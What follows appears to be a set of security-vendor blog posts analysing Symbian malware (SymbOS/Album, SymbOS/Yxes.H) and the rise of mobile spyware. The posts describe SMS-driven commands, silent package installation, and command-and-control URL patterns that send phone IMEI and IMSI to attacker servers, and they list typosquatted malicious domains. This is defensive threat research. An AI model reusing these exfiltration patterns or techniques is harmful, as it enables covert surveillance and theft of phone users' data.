The more I analyze the SymbOS/Album malware, the more it scares me.

The main malicious executable, Album.exe, is actually capable of processing incoming commands included in SMS messages sent by the value-added service provider number 106650xxx. Typical commands are: download and install software, get phone information or update software. Now, that starts to look  like a botnet, even though it isn’t (yet?) a very scalable way to communicate with bots because the bot master must send an SMS to each bot it manages.

More in details, the Album executable creates a global message queue (RMsgQueueBase::CreateGlobal), named ‘my_pf_queue_1′. It is notified as soon as a message arrives in the queue (RMsgQueueBase::NotifyDataAvailable), retrieves the message (RMsgQueueBase::Receive) and processes its command.

Figure 1. Disassembly of the function reading a message from the message queue.

The command parser looks for command strings such as [!@#] or [%@#] in the service provider’s SMS and triggers the corresponding command. 4 different commands have been identified:

• DoCmdSPOrder: sends a given number of SMS and logs the command in a file (c:\private\2002A22C\init_sp_order.txt)
• DoCmdDlAndInstall: downloads a given software package and installs it. We will discuss that one further.
• DoCmdGetPhoneInfo: gets phone’s model, IMEI and IMSI, and subsequently send 2 SMS.
• StartUpdatePolicy: modifies the update time and interval with the service provider. Information is logged in c:\private\2002A22C\frame_update_date.txt and c:\private\2002A22C\frame_update_interval.txt respectively.

Figure 2. Disassembly of the Base Command Parser DLL. Shows different types of commands.

In the case of the download and install command, the Base Command Parser DLL calls a function of the Frame HTTP DLL (FrameHttpEngine.dll). This module implements a web client with a download manager. The URI is added to a queue of URI to download, and the HTTP engine periodically checks this queue and downloads the requested URIs. The downloaded URI is dumped on the mobile phone in a file named c:\data\1.sisx. Then, as in SymbOS/Yxes, SymbOS/Album uses the SW Installer Launcher API to silently install the package on the mobile phone (RSWInstSilentLauncher::SilentInstall). The end-user sees no popup at all and cannot accept/decline this installation.

Figure 3. Once the URI is successfully downloaded, call the function that installs the package

Finally, for those with doubts, it is true a value-added service provider (VASP) might be expected to implement some kind of communication protocol between their server and the end-user’s mobile phone. But a legitimate VASP would make its activity and induced costs (SMS sending, WAP connections) explicit, and only install with user’s full consent. On the contrary, a Trojan would certainly use unexplicit names such as “Phone Framework” or “MMS Album” and care to hide its SMS and the installation of downloaded software.

– the Crypto Girl

A few days ago we encountered a new variant of the Symbian worm, Yxes, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending ‘attractive’ SMS messages. For instance, this new variant sends an SMS with an URL promising private information concerning a Chinese actress. Globally, the logic (and much of the code) is the same as in previous variants. Yet, there are a few updates, one of the main ones being the use of new remote malicious Java Server Pages.

I guess every analyst has noticed this variant of the malware contacts the following URLs:

http://XXXX/Jump.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

http://XXXX/Kernel.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

http://XXXX/KernelPara.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

The PhoneType argument contains the model of the infected phone (e.g nokia3250, nokian95…), while the PhoneImei and PhoneImsi arguments respectively contain the phone’s IMEI and IMSI. The Source argument is new to this variant, and its use has not been reversed yet. It could possibly contain the name of the malicious website used to infect the phone.

The first of those JSP pages, Jump.jsp, redirects the user to a Chinese mobile social networking site (3g.kaixin001.com then wap.kaixin001.com). Actually, we had already noticed this behaviour in at least 2 former JSP pages used by previous versions.

The second JSP page, Kernel.jsp, actually replies the following string (host name removed):

http://XXXX/download/root/plugucsrv.sisx

And, from this location, we get a new minor variant of Yxes.D. This is a consistent behavior in Yxes: the worm indeed often works in pairs (e.g variants A, B, D or E download variants C, D or F). In this case, variant H silently downloads and installs a remotely hosted new version of variant D.

Its certificate says:

Serial Number:
 2a:2f:00:01:00:23:37:98:0c:73:b2:c7:69:17
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
 Not Before: Jan 23 17:55:42 2010 GMT
 Not After : Jan 24 17:55:42 2020 GMT
Subject: C=CN, ST=Fujian, L=XiaMen, O=Xiamen Jindoucheng Tech Co. Ltd.,
OU=plugucsrv  2.1.0, OU=Symbian Signed ContentID,
CN=Xiamen Jindoucheng Tech Co. Ltd.

A notification has been sent to Symbian, who tells us the certificate should soon be revoked. Meanwhile, be cautious if you encounter a file named plugucsrv.sisx that installs as a ‘Setting Wizard’.

That variant D then actually does most of the malicious work: collect data on the phone, report it back to the malicious web servers and send SMS messages. The URLs it contacts are:

http://XXXX/bs.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/index.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/number.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...

The PhoneNumber, Succeed, Fail and Time arguments are obviously used to report contacts listed on the phone. The Succeed and Fail arguments are followed by an integer, probably the number of times that phone number has successfully been called or not.

Quite interestingly, if we try to get http://XXXX/bs.jsp, using a credible user agent (the malicious websites are known to check user agents – in particular, if it detects Internet Explorer, it responds “404 Not Found”):

SUCCESS reponse: 200 OK

http://hew1ett-packard.com/bs.jsp?

Notice the letter L of Hewlett has been replaced the number 1 (one).

So, the first malicious web server redirects the requests to another malicious web server, whose name is obviously intentionally crafted to fool the end-user. The URL does not respond any longer. Note that the Yxes worm is already known to use such mispellings:

• www.megac1jck.com
• www.mozi11a.com
• www.makt00b.com
• www.mediafir8.com
• www.megaup10ad.com

The third JSP, KernelPara.jsp, is still a mystery we have to work on. It returns a file named encrypt_Kernel_Para.txt. If its name is meaningful, it is likely to be an encrypted version of a file named Kernel_Para.txt (the worm already uses files with similar names: Local_Para.txt and Remote_Para.txt). In our case, its content is fixed and 32-byte long. It is not an XOR encrypted URL.

Finally, to evaluate the worm’s authors progress, it is interesting to follow the dates and versions of samples. The dates are taken from the first validity date in the X.509 certificate used to sign the sample, and the version numbers are included either in the main executable of the sample or in the certificate.

Apart from a sporadic ‘accident’ end of June 2009 where a version 1.0 goes in the wild (probably an error in versioning), we see the worm authors are continuously working on Yxes since the end of 2008. So my first prediction for 2010 was nearly bound to be true…

– The Crypto Girl

If smart phones were human, we would most probably compare them to assistants – you know, those organized persons we rely on to cope with our own lack of memory and who will remind us of any important meeting and never lose any valuable phone number.

Others would perhaps compare them to close friends to whom one can tell secrets (your bank PIN ?) or with whom one shares a few holiday or family pictures.

It looks like few of us consider the betrayal of such a close friend, turning him/her into our worst enemy. Yet, this is exactly what mobile phone spyware represent: they can intercept our phone calls, SMS or MMS messages, locate us geographically, listen to our surroundings, take pictures, download contacts, log activity, etc. True, most of us do not have much to hide, but nevertheless we would just plainly hate to be spied. Men once stood up for human rights. As a reminder, the Universal Declaration of Human Rights, article 12, states: “No one shall be subjected to arbitrary interference with his privacy, family, home or correspondence, nor to attacks upon his honor and reputation. Everyone has the right to the protection of the law against such interference or attacks.”

Unfortunately, we, at Fortinet, have noticed an increase in new mobile phone spyware these last few months. Since March 2009, we have added detection for 9 new families, being the first ones to do so among other vendors for at least five (iPhoneOS/Trapsms, Spy/MobileSpy!iPhoneOS, Spy/CallMagic!SymbOS, Spy/Spyiolan!SymbOS, Spy/PhotoSpy!SymbOS). Mobile phone spyware now represent 10 percent of mobile phone malware for Symbian, WinCE and iPhones. And there are more to come. For instance, we even know of development suites dedicated to creating mobile phone spyware.

Nearly all mobile phone spyware are commercial with products shipping from tens to over thousands of dollars. They advertise on markets such as parental control, cheating spouses, employee monitoring or video surveillance. Whether those products are legal or not is actually not the point of this blog entry. The *fact* is that nowadays those spyware can be found on warez / underground forums, and hence end up (sometimes for free) in the wrong hands of malware authors or other cyber-criminals. The other fact is that we now spot samples in the wild, sent by SMS or MMS.

So, the risk is growing, that’s for sure. Keep an eye on your phone, and make sure it’s not betraying you.

Lately, we’ve been fed with H1N1 flu security measures, with recommendations regarding how to clean our hands, sneeze or cough. I just wonder if we’d be so obedient if the same recommendations were issued for our computers or phones.

Have a look at the advice below: on the left are CDC’s recommendations against H1N1. On the right… Fortinet’s recommendations against SymbOS/Yxes.

Convinced? Will you follow them?